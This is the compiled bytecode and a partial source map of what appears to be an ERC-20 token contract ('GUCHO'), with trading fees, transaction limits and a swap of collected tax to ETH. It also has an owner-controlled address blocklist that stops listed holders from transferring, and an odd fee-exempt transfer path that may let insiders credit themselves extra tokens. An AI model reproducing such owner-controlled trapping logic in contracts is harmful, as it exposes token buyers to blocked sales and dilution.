0x6080604052600436106101395760003560e01c8063751039fc116100ab5780639e78fb4f1161006f5780639e78fb4f1461034b578063a9059cbb14610360578063bf474bed14610380578063c9567bf914610396578063d34628cc146103ab578063dd62ed3e146103cb57600080fd5b8063751039fc146102e25780637d1db4a5146102f75780638da5cb5b1461030d5780638f9a55c01461033557806395d89b411461015c57600080fd5b806323b872dd116100fd57806323b872dd14610202578063313ce5671461022257806331c2d8471461023e5780633bbac5791461025e57806370a0823114610297578063715018a6146102cd57600080fd5b80630614117a1461014557806306fdde031461015c578063095ea7b3146101995780630faee56f146101c957806318160ddd146101ed57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610411565b005b34801561016857600080fd5b506040805180820182526005815264475543484f60d81b602082015290516101909190611743565b60405180910390f35b3480156101a557600080fd5b506101b96101b43660046117b9565b61044f565b6040519015158152602001610190565b3480156101d557600080fd5b506101df60115481565b604051908152602001610190565b3480156101f957600080fd5b506101df610466565b34801561020e57600080fd5b506101b961021d3660046117e5565b610487565b34801561022e57600080fd5b5060405160098152602001610190565b34801561024a57600080fd5b5061015a61025936600461183c565b6104f1565b34801561026a57600080fd5b506101b9610279366004611901565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102a357600080fd5b506101df6102b2366004611901565b6001600160a01b031660009081526001602052604090205490565b3480156102d957600080fd5b5061015a610587565b3480156102ee57600080fd5b5061015a6105fb565b34801561030357600080fd5b506101df600e5481565b34801561031957600080fd5b506000546040516001600160a01b039091168152602001610190565b34801561034157600080fd5b506101df600f5481565b34801561035757600080fd5b5061015a6106ad565b34801561036c57600080fd5b506101b961037b3660046117b9565b610904565b34801561038c57600080fd5b506101df60105481565b3480156103a257600080fd5b5061015a610911565b3480156103b757600080fd5b5061015a6103c636600461183c565b610afa565b3480156103d757600080fd5b506101df6103e636600461191e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104445760405162461bcd60e51b815260040161043b90611957565b60405180910390fd5b61044d47610b8c565b565b600061045c338484610bc6565b5060015b92915050565b60006104746009600a611a86565b61048290633b9aca00611a95565b905090565b6000610494848484610ceb565b6104e684336104e185604051806060016040528060288152602001611c02602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e9c565b610bc6565b5060015b9392505050565b6000546001600160a01b0316331461051b5760405162461bcd60e51b815260040161043b90611957565b60005b81518110156105835760006004600084848151811061053f5761053f611aac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057b81611ac2565b91505061051e565b5050565b6000546001600160a01b031633146105b15760405162461bcd60e51b815260040161043b90611957565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161043b90611957565b6106316009600a611a86565b61063f90633b9aca00611a95565b600e5561064e6009600a611a86565b61065c90633b9aca00611a95565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068c6009600a611a86565b61069a90633b9aca00611a95565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106d75760405162461bcd60e51b815260040161043b90611957565b601354600160a01b900460ff161561072b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161043b565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107749030906107666009600a611a86565b6104e190633b9aca00611a95565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611adb565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108719190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e29190611adb565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061045c338484610ceb565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161043b90611957565b601354600160a01b900460ff161561098f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161043b565b6012546001600160a01b031663f305d71947306109c1816001600160a01b031660009081526001602052604090205490565b6000806109d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a639190611af8565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611b26565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260040161043b90611957565b60005b815181101561058357600160046000848481518110610b4857610b48611aac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b8481611ac2565b915050610b27565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610583573d6000803e3d6000fd5b6001600160a01b038316610c285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043b565b6001600160a01b038216610c895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043b565b6001600160a01b038216610db15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043b565b60008111610e135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b601354600160b01b900460ff161580610e355750601354600160a81b900460ff165b15610e4a57610e45838383610ed6565b505050565b600080546001600160a01b03858116911614801590610e7757506000546001600160a01b03848116911614155b15610e8a57610e87848484610f7c565b90505b610e968484848461122e565b50505050565b60008184841115610ec05760405162461bcd60e51b815260040161043b9190611743565b506000610ecd8486611b48565b95945050505050565b6001600160a01b038316600090815260016020526040902054610ef99082611260565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610f2890826112a2565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cde9085815260200190565b6001600160a01b03831660009081526004602052604081205460ff16158015610fbe57506001600160a01b03831660009081526004602052604090205460ff16155b610fc757600080fd5b6000610ff56064610fef600a54600d5411610fe457600654610fe8565b6008545b8690611301565b90611383565b6013549091506001600160a01b03868116911614801561102357506012546001600160a01b03858116911614155b801561104857506001600160a01b03841660009081526003602052604090205460ff16155b1561113057600e5483111561109f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161043b565b600f54836110c2866001600160a01b031660009081526001602052604090205490565b6110cc9190611b5b565b111561111a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043b565b600d805490600061112a83611ac2565b91905055505b6013546001600160a01b03858116911614801561115657506001600160a01b0385163014155b15611183576111806064610fef600b54600d541161117657600754610fe8565b6009548690611301565b90505b601354600160a81b900460ff161580156111aa57506013546001600160a01b038581169116145b80156111bf5750601354600160b01b900460ff165b80156111ce5750600c54600d54115b80156111f357506001600160a01b03851660009081526003602052604090205460ff16155b801561121857506001600160a01b03841660009081526003602052604090205460ff16155b1561122657611226836113c5565b949350505050565b600061123a8583611405565b611259858561124a888588611482565b6112548787611260565b6114d2565b5050505050565b60006104ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9c565b6000806112af8385611b5b565b9050838110156104ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b60008260000361131357506000610460565b600061131f8385611a95565b90508261132c8583611b6e565b146104ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b60006104ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611586565b306000908152600160205260409020546010548111156113fc576113fc6113f7836113f2846011546115b4565b6115b4565b6115c9565b61058347610b8c565b8015610583573060009081526001602052604090205461142590826112a2565b30600081815260016020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114769085815260200190565b60405180910390a35050565b6001600160a01b03831660009081526003602052604081205460ff166114be576114ad836001611a95565b6114b79083611b5b565b90506104ea565b6114c88284611a95565b6112269084611b5b565b6001600160a01b0384166000908152600160205260409020546114f59083611260565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461152490826112a2565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115789085815260200190565b60405180910390a350505050565b600081836115a75760405162461bcd60e51b815260040161043b9190611743565b506000610ecd8486611b6e565b60008183116115c357826104ea565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061161157611611611aac565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561166a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168e9190611adb565b816001815181106116a1576116a1611aac565b6001600160a01b0392831660209182029290920101526012546116c79130911684610bc6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611700908590600090869030904290600401611b90565b600060405180830381600087803b15801561171a57600080fd5b505af115801561172e573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600060208083528351808285015260005b8181101561177057858101830151858201604001528201611754565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146117a657600080fd5b50565b80356117b481611791565b919050565b600080604083850312156117cc57600080fd5b82356117d781611791565b946020939093013593505050565b6000806000606084860312156117fa57600080fd5b833561180581611791565b9250602084013561181581611791565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561184f57600080fd5b823567ffffffffffffffff8082111561186757600080fd5b818501915085601f83011261187b57600080fd5b81358181111561188d5761188d611826565b8060051b604051601f19603f830116810181811085821117156118b2576118b2611826565b6040529182528482019250838101850191888311156118d057600080fd5b938501935b828510156118f5576118e6856117a9565b845293850193928501926118d5565b98975050505050505050565b60006020828403121561191357600080fd5b81356104ea81611791565b6000806040838503121561193157600080fd5b823561193c81611791565b9150602083013561194c81611791565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119dd5781600019048211156119c3576119c361198c565b808516156119d057918102915b93841c93908002906119a7565b509250929050565b6000826119f457506001610460565b81611a0157506000610460565b8160018114611a175760028114611a2157611a3d565b6001915050610460565b60ff841115611a3257611a3261198c565b50506001821b610460565b5060208310610133831016604e8410600b8410161715611a60575081810a610460565b611a6a83836119a2565b8060001904821115611a7e57611a7e61198c565b029392505050565b60006104ea60ff8416836119e5565b80820281158282048414176104605761046061198c565b634e487b7160e01b600052603260045260246000fd5b600060018201611ad457611ad461198c565b5060010190565b600060208284031215611aed57600080fd5b81516104ea81611791565b600080600060608486031215611b0d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3857600080fd5b815180151581146104ea57600080fd5b818103818111156104605761046061198c565b808201808211156104605761046061198c565b600082611b8b57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611be05784516001600160a01b031683529383019391830191600101611bbb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b64cd7927c93674cc30a08561299bc0b3f108f4c7aac8a5be679e4c9281efc5864736f6c63430008120033

Deployed Bytecode Sourcemap

3945:10046:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13855:95;;;;;;;;;;;;;:::i;:::-;;6787:83;;;;;;;;;;-1:-1:-1;6857:5:0;;;;;;;;;;;-1:-1:-1;;;6857:5:0;;;;6787:83;;;;6857:5;6787:83;:::i;:::-;;;;;;;;7670:186;;;;;;;;;;-1:-1:-1;7670:186:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7670:186:0;1162:187:1;5054:57:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5054:57:0;1354:177:1;7064:95:0;;;;;;;;;;;;;:::i;7864:446::-;;;;;;;;;;-1:-1:-1;7864:446:0;;;;;:::i;:::-;;:::i;6973:83::-;;;;;;;;;;-1:-1:-1;6973:83:0;;4670:1;2139:36:1;;2127:2;2112:18;6973:83:0;1997:184:1;9364:168:0;;;;;;;;;;-1:-1:-1;9364:168:0;;;;;:::i;:::-;;:::i;9540:86::-;;;;;;;;;;-1:-1:-1;9540:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;9611:7:0;9587:4;9611:7;;;:4;:7;;;;;;;;;9540:86;7167:119;;;;;;;;;;-1:-1:-1;7167:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7260:18:0;7233:7;7260:18;;;:9;:18;;;;;;;7167:119;2976:148;;;;;;;;;;;;;:::i;8922:162::-;;;;;;;;;;;;;:::i;4859:58::-;;;;;;;;;;;;;;;;2762:79;;;;;;;;;;-1:-1:-1;2800:7:0;2827:6;2762:79;;-1:-1:-1;;;;;2827:6:0;;;3842:51:1;;3830:2;3815:18;2762:79:0;3696:203:1;4924:60:0;;;;;;;;;;;;;;;;5828:456;;;;;;;;;;;;;:::i;7294:192::-;;;;;;;;;;-1:-1:-1;7294:192:0;;;;;:::i;:::-;;:::i;4991:56::-;;;;;;;;;;;;;;;;6292:487;;;;;;;;;;;;;:::i;9192:164::-;;;;;;;;;;-1:-1:-1;9192:164:0;;;;;:::i;:::-;;:::i;7494:168::-;;;;;;;;;;-1:-1:-1;7494:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7627:18:0;;;7600:7;7627:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7494:168;13855:95;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;;;;;;;;;13907:35:::1;13920:21;13907:12;:35::i;:::-;13855:95::o:0;7670:186::-;7770:4;7787:39;389:10;7810:7;7819:6;7787:8;:39::i;:::-;-1:-1:-1;7844:4:0;7670:186;;;;;:::o;7064:95::-;7117:7;4837:15;4670:1;4837:2;:15;:::i;:::-;4821:31;;:13;:31;:::i;:::-;7137:14;;7064:95;:::o;7864:446::-;7996:4;8013:36;8023:6;8031:9;8042:6;8013:9;:36::i;:::-;8060:220;8083:6;389:10;8131:138;8187:6;8131:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8131:19:0;;;;;;:11;:19;;;;;;;;389:10;8131:33;;;;;;;;;;:37;:138::i;:::-;8060:8;:220::i;:::-;-1:-1:-1;8298:4:0;7864:446;;;;;;:::o;9364:168::-;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;9439:6:::1;9434:91;9455:6;:13;9451:1;:17;9434:91;;;9508:5;9490:4;:15;9495:6;9502:1;9495:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9490:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9490:15:0;:23;;-1:-1:-1;;9490:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9470:3;::::1;::::0;::::1;:::i;:::-;;;;9434:91;;;;9364:168:::0;:::o;2976:148::-;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;3083:1:::1;3067:6:::0;;3046:40:::1;::::0;-1:-1:-1;;;;;3067:6:0;;::::1;::::0;3046:40:::1;::::0;3083:1;;3046:40:::1;3114:1;3097:19:::0;;-1:-1:-1;;;;;;3097:19:0::1;::::0;;2976:148::o;8922:162::-;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;4837:15:::1;4670:1;4837:2;:15;:::i;:::-;4821:31;::::0;:13:::1;:31;:::i;:::-;8976:12;:22:::0;4837:15:::1;4670:1;4837:2;:15;:::i;:::-;4821:31;::::0;:13:::1;:31;:::i;:::-;9009:14;:24:::0;9049:27:::1;4837:15;4670:1;4837:2;:15;:::i;:::-;4821:31;::::0;:13:::1;:31;:::i;:::-;9049:27;::::0;1500:25:1;;;1488:2;1473:18;9049:27:0::1;;;;;;;8922:162::o:0;5828:456::-;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;5889:11:::1;::::0;-1:-1:-1;;;5889:11:0;::::1;;;5888:12;5880:48;;;::::0;-1:-1:-1;;;5880:48:0;;6820:2:1;5880:48:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;-1:-1:-1;;;6878:18:1;;;6871:53;6941:18;;5880:48:0::1;6618:347:1::0;5880:48:0::1;5941:15;:104:::0;;-1:-1:-1;;;;;;5941:104:0::1;5992:42;5941:104:::0;;::::1;::::0;;;6058:58:::1;::::0;6075:4:::1;::::0;4837:15:::1;4670:1;4837:2;:15;:::i;:::-;4821:31;::::0;:13:::1;:31;:::i;6058:58::-;6163:15;;;;;;;;;-1:-1:-1::0;;;;;6163:15:0::1;-1:-1:-1::0;;;;;6163:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6145:55:0::1;;6223:4;6243:15;;;;;;;;;-1:-1:-1::0;;;;;6243:15:0::1;-1:-1:-1::0;;;;;6243:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6145:131;::::0;-1:-1:-1;;;;;;6145:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7456:15:1;;;6145:131:0::1;::::0;::::1;7438:34:1::0;7508:15;;7488:18;;;7481:43;7373:18;;6145:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6129:13;:147:::0;;-1:-1:-1;;;;;;6129:147:0::1;-1:-1:-1::0;;;;;6129:147:0;;;::::1;::::0;;;::::1;::::0;;5828:456::o;7294:192::-;7397:4;7414:42;389:10;7438:9;7449:6;7414:9;:42::i;6292:487::-;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;6354:11:::1;::::0;-1:-1:-1;;;6354:11:0;::::1;;;6353:12;6345:48;;;::::0;-1:-1:-1;;;6345:48:0;;6820:2:1;6345:48:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;-1:-1:-1;;;6878:18:1;;;6871:53;6941:18;;6345:48:0::1;6618:347:1::0;6345:48:0::1;6406:15;::::0;-1:-1:-1;;;;;6406:15:0::1;:31;6445:21;6490:4;6510:24;6490:4:::0;-1:-1:-1;;;;;7260:18:0;7233:7;7260:18;;;:9;:18;;;;;;;7167:119;6510:24:::1;6549:1;6565::::0;6581:7:::1;2800::::0;2827:6;-1:-1:-1;;;;;2827:6:0;;2762:79;6581:7:::1;6406:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6406:223:0;;;-1:-1:-1;;;;;7894:15:1;;;6406:223:0::1;::::0;::::1;7876:34:1::0;7926:18;;;7919:34;;;;7969:18;;;7962:34;;;;8012:18;;;8005:34;8076:15;;;8055:19;;;8048:44;6603:15:0::1;8108:19:1::0;;;8101:35;7810:19;;6406:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6649:13:0::1;::::0;6680:15:::1;::::0;6642:71:::1;::::0;-1:-1:-1;;;6642:71:0;;-1:-1:-1;;;;;6680:15:0;;::::1;6642:71;::::0;::::1;8632:51:1::0;-1:-1:-1;;8699:18:1;;;8692:34;6649:13:0;::::1;::::0;-1:-1:-1;6642:29:0::1;::::0;8605:18:1;;6642:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6724:11:0::1;:18:::0;;-1:-1:-1;;;;6753:18:0;-1:-1:-1;;;6753:18:0;;;6292:487::o;9192:164::-;2889:6;;-1:-1:-1;;;;;2889:6:0;389:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;9266:6:::1;9261:88;9282:5;:12;9278:1;:16;9261:88;;;9333:4;9316;:14;9321:5;9327:1;9321:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9316:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9316:14:0;:21;;-1:-1:-1;;9316:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9296:3;::::1;::::0;::::1;:::i;:::-;;;;9261:88;;9092:92:::0;9149:10;;:27;;-1:-1:-1;;;;;9149:10:0;;;;:27;;;;;9169:6;;9149:10;:27;:10;:27;9169:6;9149:10;:27;;;;;;;;;;;;;;;;;;;8318:335;-1:-1:-1;;;;;8411:19:0;;8403:68;;;;-1:-1:-1;;;8403:68:0;;9221:2:1;8403:68:0;;;9203:21:1;9260:2;9240:18;;;9233:30;9299:34;9279:18;;;9272:62;-1:-1:-1;;;9350:18:1;;;9343:34;9394:19;;8403:68:0;9019:400:1;8403:68:0;-1:-1:-1;;;;;8490:21:0;;8482:68;;;;-1:-1:-1;;;8482:68:0;;9626:2:1;8482:68:0;;;9608:21:1;9665:2;9645:18;;;9638:30;9704:34;9684:18;;;9677:62;-1:-1:-1;;;9755:18:1;;;9748:32;9797:19;;8482:68:0;9424:398:1;8482:68:0;-1:-1:-1;;;;;8561:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8613:32;;1500:25:1;;;8613:32:0;;1473:18:1;8613:32:0;;;;;;;;8318:335;;;:::o;9634:659::-;-1:-1:-1;;;;;9727:18:0;;9719:68;;;;-1:-1:-1;;;9719:68:0;;10029:2:1;9719:68:0;;;10011:21:1;10068:2;10048:18;;;10041:30;10107:34;10087:18;;;10080:62;-1:-1:-1;;;10158:18:1;;;10151:35;10203:19;;9719:68:0;9827:401:1;9719:68:0;-1:-1:-1;;;;;9806:16:0;;9798:64;;;;-1:-1:-1;;;9798:64:0;;10435:2:1;9798:64:0;;;10417:21:1;10474:2;10454:18;;;10447:30;10513:34;10493:18;;;10486:62;-1:-1:-1;;;10564:18:1;;;10557:33;10607:19;;9798:64:0;10233:399:1;9798:64:0;9895:1;9881:11;:15;9873:69;;;;-1:-1:-1;;;9873:69:0;;10839:2:1;9873:69:0;;;10821:21:1;10878:2;10858:18;;;10851:30;10917:34;10897:18;;;10890:62;-1:-1:-1;;;10968:18:1;;;10961:39;11017:19;;9873:69:0;10637:405:1;9873:69:0;9958:11;;-1:-1:-1;;;9958:11:0;;;;9957:12;;:22;;-1:-1:-1;9973:6:0;;-1:-1:-1;;;9973:6:0;;;;9957:22;9953:113;;;9996:37;10011:4;10017:2;10021:11;9996:14;:37::i;:::-;9634:659;;;:::o;9953:113::-;10078:17;2827:6;;-1:-1:-1;;;;;10114:15:0;;;2827:6;;10114:15;;;;:32;;-1:-1:-1;2800:7:0;2827:6;-1:-1:-1;;;;;10133:13:0;;;2827:6;;10133:13;;10114:32;10110:115;;;10175:38;10191:4;10197:2;10201:11;10175:15;:38::i;:::-;10163:50;;10110:115;10237:48;10252:4;10258:2;10262:11;10275:9;10237:14;:48::i;:::-;9708:585;9634:659;;;:::o;1564:224::-;1684:7;1720:12;1712:6;;;;1704:29;;;;-1:-1:-1;;;1704:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1744:9:0;1756:5;1760:1;1756;:5;:::i;:::-;1744:17;1564:224;-1:-1:-1;;;;;1564:224:0:o;8661:253::-;-1:-1:-1;;;;;8770:15:0;;;;;;:9;:15;;;;;;:32;;8790:11;8770:19;:32::i;:::-;-1:-1:-1;;;;;8752:15:0;;;;;;;:9;:15;;;;;;:50;;;;8829:13;;;;;;;:30;;8847:11;8829:17;:30::i;:::-;-1:-1:-1;;;;;8813:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8875:31;;;;;;;;;;8894:11;1500:25:1;;1488:2;1473:18;;1354:177;10301:1425:0;-1:-1:-1;;;;;10419:10:0;;10389:7;10419:10;;;:4;:10;;;;;;;;10418:11;:24;;;;-1:-1:-1;;;;;;10434:8:0;;;;;;:4;:8;;;;;;;;10433:9;10418:24;10410:33;;;;;;10454:17;10474:189;10659:3;10474:166;10535:15;;10523:9;;:27;10522:103;;10611:14;;10522:103;;;10575:12;;10522:103;10474:11;;:29;:166::i;:::-;:184;;:189::i;:::-;10702:13;;10454:209;;-1:-1:-1;;;;;;10694:21:0;;;10702:13;;10694:21;:68;;;;-1:-1:-1;10746:15:0;;-1:-1:-1;;;;;10732:30:0;;;10746:15;;10732:30;;10694:68;:109;;;;-1:-1:-1;;;;;;10780:23:0;;;;;;:19;:23;;;;;;;;10779:24;10694:109;10676:405;;;10853:12;;10838:11;:27;;10830:65;;;;-1:-1:-1;;;10830:65:0;;11382:2:1;10830:65:0;;;11364:21:1;11421:2;11401:18;;;11394:30;11460:27;11440:18;;;11433:55;11505:18;;10830:65:0;11180:349:1;10830:65:0;10967:14;;10952:11;10936:13;10946:2;-1:-1:-1;;;;;7260:18:0;7233:7;7260:18;;;:9;:18;;;;;;;7167:119;10936:13;:27;;;;:::i;:::-;:45;;10910:133;;;;-1:-1:-1;;;10910:133:0;;11866:2:1;10910:133:0;;;11848:21:1;11905:2;11885:18;;;11878:30;11944:28;11924:18;;;11917:56;11990:18;;10910:133:0;11664:350:1;10910:133:0;11058:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10676:405;11103:13;;-1:-1:-1;;;;;11097:19:0;;;11103:13;;11097:19;:44;;;;-1:-1:-1;;;;;;11120:21:0;;11136:4;11120:21;;11097:44;11093:305;;;11170:216;11382:3;11170:189;11239:16;;11227:9;;:28;11226:114;;11325:15;;11226:114;;;11284:13;;11170:11;;:33;:189::i;:216::-;11158:228;;11093:305;11429:6;;-1:-1:-1;;;11429:6:0;;;;11428:7;:43;;;;-1:-1:-1;11458:13:0;;-1:-1:-1;;;;;11452:19:0;;;11458:13;;11452:19;11428:43;:71;;;;-1:-1:-1;11488:11:0;;-1:-1:-1;;;11488:11:0;;;;11428:71;:118;;;;;11528:18;;11516:9;;:30;11428:118;:161;;;;-1:-1:-1;;;;;;11564:25:0;;;;;;:19;:25;;;;;;;;11563:26;11428:161;:202;;;;-1:-1:-1;;;;;;11607:23:0;;;;;;:19;:23;;;;;;;;11606:24;11428:202;11410:280;;;11657:21;11666:11;11657:8;:21::i;:::-;11709:9;10301:1425;-1:-1:-1;;;;10301:1425:0:o;11734:317::-;11887:11;11904:34;11922:4;11928:9;11904:17;:34::i;:::-;11949:94;11969:4;11975:2;11979:35;11991:4;11997:3;12002:11;11979;:35::i;:::-;12016:26;:11;12032:9;12016:15;:26::i;:::-;11949:19;:94::i;:::-;11876:175;11734:317;;;;:::o;1420:136::-;1478:7;1505:43;1509:1;1512;1505:43;;;;;;;;;;;;;;;;;:3;:43::i;1233:179::-;1291:7;;1323:5;1327:1;1323;:5;:::i;:::-;1311:17;;1352:1;1347;:6;;1339:46;;;;-1:-1:-1;;;1339:46:0;;12221:2:1;1339:46:0;;;12203:21:1;12260:2;12240:18;;;12233:30;12299:29;12279:18;;;12272:57;12346:18;;1339:46:0;12019:351:1;1796:246:0;1854:7;1878:1;1883;1878:6;1874:47;;-1:-1:-1;1908:1:0;1901:8;;1874:47;1931:9;1943:5;1947:1;1943;:5;:::i;:::-;1931:17;-1:-1:-1;1976:1:0;1967:5;1971:1;1931:17;1967:5;:::i;:::-;:10;1959:56;;;;-1:-1:-1;;;1959:56:0;;12799:2:1;1959:56:0;;;12781:21:1;12838:2;12818:18;;;12811:30;12877:34;12857:18;;;12850:62;-1:-1:-1;;;12928:18:1